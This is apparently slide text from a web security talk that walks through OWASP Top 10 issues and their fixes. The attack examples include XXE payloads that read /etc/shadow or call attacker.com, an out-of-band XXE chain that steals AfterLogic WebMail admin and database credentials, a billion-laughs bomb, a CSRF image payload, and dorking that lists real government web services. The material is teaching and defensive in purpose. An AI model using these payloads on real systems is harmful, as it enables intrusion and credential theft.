<a href="#">6_0_IdentityIQ_Administration_Guide.pdf</a>	2572.4 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_IdentityIQ_BMC_SRM_Integration_Guide.pdf</a>	411.5 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_IdentityIQ_Direct_Connectors_Admin_and_Config_Guide.pdf</a>	1710.2 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_IdentityIQ_Installation_Guide.pdf</a>	335.4 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_IdentityIQ_Integration_Guide.pdf</a>	1356.4 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_IdentityIQ_Release_Note.pdf</a>	729.1 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_IdentityIQ_User_Guide.pdf</a>	2395.3 kb	Fri, 28 Sep 2012 21:09:08 GMT
<a href="#">6_0_Lifecycle_Manager_Acitivation.pdf</a>	150.6 kb	Fri, 28 Sep 2012 21:09:08 GMT

# Global Error Handling

---

```
<web-app>

    <error-page>
        <exception-type>java.lang.Exception</exception-type>
        <location>/WEB-INF/pages/error/serverError.jsp</location>
    </error-page>

    <error-page>
        <error-code>500</error-code>
        <location>/WEB-INF/pages/error/serverError.jsp</location>
    </error-page>

    <error-page>
        <error-code>404</error-code>
        <location>/Error404.html</location>
    </error-page>

<web-app>
```

# Sub Resource Integrity

---

```
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha256-KXn5puMvxCw+dAYznun+drMdG1IFl3agK0p/pqT9KAo= sha512-2e8qq0ETcfWR
I4HJBzQiA3UoyFk6tbNyG+qSaIBZLyW9Xf3sWZHN/lxe9fTh1U45DpPf07yj94KsUHHWe4Yk1A=="cross
origin="anonymous"></script>
```

# HTTP Security Headers

---

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1

# HSTS

---

Strict-Transport-Security: max-age=15552000; includeSubDomains; **preload**

# Cookie Secure, HttpOnly, SameSite

---

**Set-Cookie:** session=eyJpdiI6IlgyMVJRTHo1TTJacTMwb1ZRV2cyK  
3c9PSIsInZhHVlIjoidG81S2N2ZkE2d3NZYWppMkZqUmRtY2dhUFQ5NX  
RsK3ZGdUtLWW5FckdaMFhHZTN1QUJaUTFocmwxek1Qam5cL0V5ZmgyY0c  
zMDBBVndVcjFiN3lJWdBPT0iLCJtYwMi0iI1YzJhYTkxOGY20TgwYmRi  
MTUwMGRk0TY5NzhhY2ZkYzM0MDRmZDA4ZTU1ZjM3NWYxM2YxYjI1MmEyN  
mE3NWMyIn0%3D; expires=Sun, 31-Jul-2016 15:26:43 GMT; Max  
-Age=7200; **path=/;** **secure;** **HttpOnly**

# File Upload

---

Content-Type

File Extension

Non Executable Upload Directory

File Rename

Content-Disposition: attachment; filename=file.pdf

# Server Side Request Forgery

---

Server Side Request Forgery (SSRF) is a vulnerability that appears when an attacker has the ability to create requests from the vulnerable server.

Mostly, SSRF attacks target internal systems behind the firewall that are normally inaccessible from the outside world (but using SSRF it's possible to access these systems)

1. Scan and attack systems from the internal network that are not normally accessible.
2. Enumerate and attack service that are running on these hosts.
3. Exploit host-based authentication services.

# XML External Entity (XXE)

---

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.

# XXE Bomb

---

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

# XXE

---

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

# How to find Web Services?

# Finding Web Services

---

Googling “[ASP.Net](#) Web Service”




Nothing special needs to be done to generate the WSDL to your webservice. Just postfix your Webservice url with "?WSDL" and you will get it. For example:

```
http://localhost/HelloService.asmx?WSDL
```

Once you do that, save the WSDL as an XML file and add it as web-reference to your client .NET application where you want to call it.

# Finding Web Services



Google search results for "site:\*.gov.tr ext:asmx". The search found about 1,840 results in 0.40 seconds.

**mkysServisV2 Web Service**  
[sbu2.saglik.gov.tr/mkysv2/mkysservisv2.asmx](http://sbu2.saglik.gov.tr/mkysv2/mkysservisv2.asmx) ▾ [Translate this page](#)  
mkysServisV2. The following operations are supported. For a formal definition, please review the Service Description. `amortismanInsert` · `araclInsert`.

**OnlineProtokol Web Service**  
<https://op.sagliknet.saglik.gov.tr/onlineprotokol.asmx> ▾  
OnlineProtokol. The following operations are supported. For a formal definition, please review the Service Description. `getVersion` · `protokolListesi` · `protokolSil`.

**GetKoyUretimBilgileri - Service Web Service**  
[webinfo.tarim.gov.tr/Service.asmx?op=GetKoyUretimBilgileri](http://webinfo.tarim.gov.tr/Service.asmx?op=GetKoyUretimBilgileri) ▾  
Service. Click here for a complete list of operations. GetKoyUretimBilgileri. Köy Üretim Bilgileri Üretim Sezonu ve Köy Bilgilerine bağlı olarak bilgileri getirir. Test.

# Example #6

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AfterLogic WebMail Pro [ASP.NET](#) 6.2.6 - Administrator Account Takeover

**Attacker Server test.dtd File:**

```
<!ENTITY %payl SYSTEM  
“file:///inetpub/wwwroot/apps/webmail/app_data/settings/settings.xml”>  
<!ENTITY %int “<!ENTITY %trick SYSTEM  
http://attacker.com/?p=%payl;’>”>
```

# Example #6

---

```
http://TARGET_DOMAIN/webmail/spellcheck.aspx?xml=<?xml version="1.0"  
encoding="utf-8"?>  
<!DOCTYPE root [  
<!ENTITY % remote SYSTEM "<a href='http://attacker.com/test.dtd'></a>">  
%remote;  
%int;  
%trick;]>
```

# Sensitive Data Exfiltration

---

```
root@hacker:/var/www/html# urldecode $(tail -n 1  
/var/log/apache2/access.log|awk {'print $7'})  
/?p=  
<Settings>  
  <Common>  
    <SiteName>[SITE_NAME_WILL_BE_HERE]</SiteName>  
    <LicenseKey>[LICENSE_KEY]/LicenseKey  
    <AdminLogin>[ADMINISTRATOR_USERNAME]</AdminLogin>  
    <AdminPassword>[ADMINISTRATOR_PASSWORD]</AdminPassword>  
    <DBType>MSSQL</DBType>  
    <DBLogin>WebMailUser</DBLogin>  
    <DBPassword>[DATABASE_PASSWORD]</DBPassword>  
    <DBName>Webmail</DBName>  
    <DBDSN>  
    </DBDSN>  
    <DBHost>localhost\SQLEXPRESS</DBHost>  
    ....  
    ....  
    ...
```

# Disabling XML Resolver

```
package xxe;

import javax.xml.bind.*;
import javax.xml.stream.*;
import javax.xml.transform.stream.StreamSource;

public class Demo {

    public static void main(String[] args) throws Exception {
        JAXBContext jc = JAXBContext.newInstance(Customer.class);

        XMLInputFactory xif = XMLInputFactory.newInstance();
        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        XMLStreamReader xsr = xif.createXMLStreamReader(new StreamSource("src/xxe/input.xml"));

        Unmarshaller unmarshaller = jc.createUnmarshaller();
        Customer customer = (Customer) unmarshaller.unmarshal(xsr);

        Marshaller marshaller = jc.createMarshaller();
        marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true);
        marshaller.marshal(customer, System.out);
    }
}
```




# ReDoS

---

**input - 1 :** aaaaX (16 possible path)

**input - 2 :**aaaaaaaaaaaaaaaaaaaaaX (65536 possible path)



**Non-Deterministic Finite Automata**

Mitigation : Secure  
deployment pipeline(s)

# A6 - Sensitive Data Exposure

# Crypto

---

Go to Crypto Slide

Mitigation : Do NOT use MD5, SHA1.  
Use SHA256 Base64 is NOT designed  
for Data Privacy DES is ... use  
AES256

# A7 - Missing Function Level Access Control

# Missing Function Level Access Control

---

**URLs on home page:**

<http://example.com/customer/123>

<http://example.com/customer/getMessages>

**Attackers can guess following URLs:**

<http://example.com/admin/123>

<http://example.com/customer/getMessages/1337>

<http://example.com/admin/getMessages>

# Using Annotations - Service

---

```
package com.websystique.springsecurity.service;

import java.util.List;
import org.springframework.security.access.prepost.PostAuthorize;
import org.springframework.security.access.prepost.PreAuthorize;
import com.websystique.springsecurity.model.User;

public interface UserService {

    List<User> findAllUsers();

    @PreAuthorize("hasRole('ADMIN')")
    void updateUser(User user);

    @PreAuthorize("hasRole('ADMIN') AND hasRole('DBA')")
    void deleteUser(int id);
}
```

# Using Annotations - Controller

---

```
@Controller
public class HelloWorldController {

    @RequestMapping(value = { "/edit-user-{id}" }, method = RequestMethod.POST)
    public String updateUser(User user, ModelMap model, @PathVariable int id) {
        service.updateUser(user);
        model.addAttribute("success", "User " + user.getFirstName() + " updated!");
        return "success";
    }

    @RequestMapping(value = { "/delete-user-{id}" }, method = RequestMethod.GET)
    public String deleteUser(@PathVariable int id) {
        service.deleteUser(id);
        return "redirect:/list";
    }
}
```


# Mitigation : Front-end and Back-end Security



# A8 - Cross-Site Request Forgery (CSRF)

# CSRF

---



5. Bank validates the session and completes the transaction.

```
<HTML>
.....
<IMG
SRC="http://fictitiousbank/transfer.cgi?from=35367021&to484
12334&amount=5000&date=05072010" width="0"
height="0">
.....
</HTML>
```

“... be certain that your application is using PATCH,  
POST, PUT, and/or DELETE for anything that modifies  
state”

GET is not CSRF protected by default..!

# CSRF Form

---

```
<form method="post" action="/do/something">
    <sec:csrfInput />
    Name:<br />
    <input type="text" name="name" />
    ...
</form>

<c:url var="logoutUrl" value="/logout"/>
<form action="${logoutUrl}" method="post">
    <input type="submit" value="Log out" />

    <input type="hidden" name="${_csrf.parameterName}"
           value="${_csrf.token}"/>
</form>
```

# CSRF with AJAX

---

```
<head>
    <meta name="_csrf" content="${_csrf.token}" />

    <!-- default header name is X-CSRF-TOKEN -->
    <meta name="_csrf_header" content="${_csrf.headerName}" />
    <!-- ... -->
</head>

$(function () {
    var token = $("meta[name='_csrf']").attr("content");
    var header = $("meta[name='_csrf_header']").attr("content");

    $(document).ajaxSend(function(e, xhr, options) {
        xhr.setRequestHeader(header, token);
    });
});
```

# Mitigation : Use Framework



# A9 - Using Components with Known Vulnerabilities

Mitigation :  
Composer, maven, ...

# A10 - Unvalidated Redirects and Forwards

# Unvalidated Redirects and Forwards

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1. [www.site.com/login/?next=/pm/unread](http://www.site.com/login/?next=/pm/unread)
2. [www.site.com/login/?next=www.evil.org](http://www.site.com/login/?next=www.evil.org)

# Unvalidated Redirects and Forwards

---



# Unvalidated Redirects and Forwards

